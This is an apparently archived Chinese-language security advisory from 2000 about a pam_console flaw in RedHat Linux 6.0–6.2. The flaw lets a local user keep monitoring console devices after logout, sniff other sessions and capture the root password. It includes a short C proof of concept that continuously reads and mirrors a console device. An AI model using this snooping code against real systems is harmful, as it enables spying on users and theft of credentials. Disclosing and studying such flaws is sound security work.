xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

多个LINUX版本存在Pam_console漏洞


发布时间:2000-09-01
更新时间:2000-09-01
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
下面版本的LINUX存在Pam_console漏洞: RedHat Linux 6.2 sparc
RedHat Linux 6.2 i386
RedHat Linux 6.2 alpha
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
RedHat Linux 6.0 sparc
RedHat Linux 6.0 i386
RedHat Linux 6.0 alpha
详细描述
linux的PAM模块中的pam_console存在漏洞,Pam_console 可设计用来允许只有console用户才能使用如声音等设备的资源。此pam_console在用户登录时把设备的属主改变给用户,而当用户LOGOUT时又把设备的属主改回ROOT所有。 但是,一部分设备没有'hangup'机制,如TTY设备,它存在可能使一个本地用户在LOGOUT后在某些设备上继续监视活动。这会导致一恶意用户可以SNIFF其他用户的console会话,并且如果ROOT用户LOGIN时有可能获得ROOT的密码。他们也可以秘密的在用户的console上执行命令。

测试代码
测试代码: #include main(int argc,char*argv[]) { char buf[80*24]; int f=open(argv[1],O_RDWR); while (1) { lseek(f,0,0); read(f,buf,sizeof(buf)); write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi write(1,buf,sizeof(buf)); usleep(10000); } }

解决方案
尚无

相关信息